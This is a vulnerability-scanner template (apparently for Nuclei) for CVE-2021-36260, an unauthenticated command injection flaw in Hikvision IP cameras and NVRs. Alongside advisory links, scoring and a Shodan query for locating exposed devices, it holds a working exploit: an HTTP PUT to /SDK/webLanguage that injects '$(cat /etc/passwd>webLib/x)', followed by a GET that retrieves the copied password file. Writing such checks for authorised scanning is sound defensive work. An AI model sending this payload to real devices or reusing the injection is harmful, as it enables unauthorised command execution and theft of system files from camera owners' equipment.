id: CVE-2021-36260 info: name: Hikvision IP camera/NVR - Remote Command Execution author: pdteam,gy741,johnk3r severity: critical description: Certain Hikvision products contain a command injection vulnerability in the web server due to the insufficient input validation. An attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands. remediation: | Apply the latest firmware update provided by Hikvision to mitigate this vulnerability. reference: - https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html - https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/ - https://nvd.nist.gov/vuln/detail/CVE-2021-36260 - https://github.com/Aiminsun/CVE-2021-36260 - https://therecord.media/experts-warn-of-widespread-exploitation-involving-hikvision-cameras/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-36260 cwe-id: CWE-78 epss-score: 0.97506 epss-percentile: 0.99979 cpe: cpe:2.3:o:hikvision:ds-2cd2026g2-iu\/sl_firmware:-:*:*:*:*:*:*:* metadata: max-request: 2 vendor: hikvision product: ds-2cd2026g2-iu\/sl_firmware shodan-query: http.favicon.hash:999357577 tags: cve,cve2021,hikvision,rce,iot,intrusive,kev http: - raw: - | PUT /SDK/webLanguage HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 $(cat /etc/passwd>webLib/x) - | GET /x HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" # digest: 4b0a00483046022100c08d36aca4a284cadd0c7bf4e8b3dc785cbfe94f1ed7e41c3a15f61df027e3f1022100ba1f2224bec90b06a4d39db33df865c128c83d0b12d8e8deb9a17ffca009d981:922c64590222798bb761d5b6d8e72950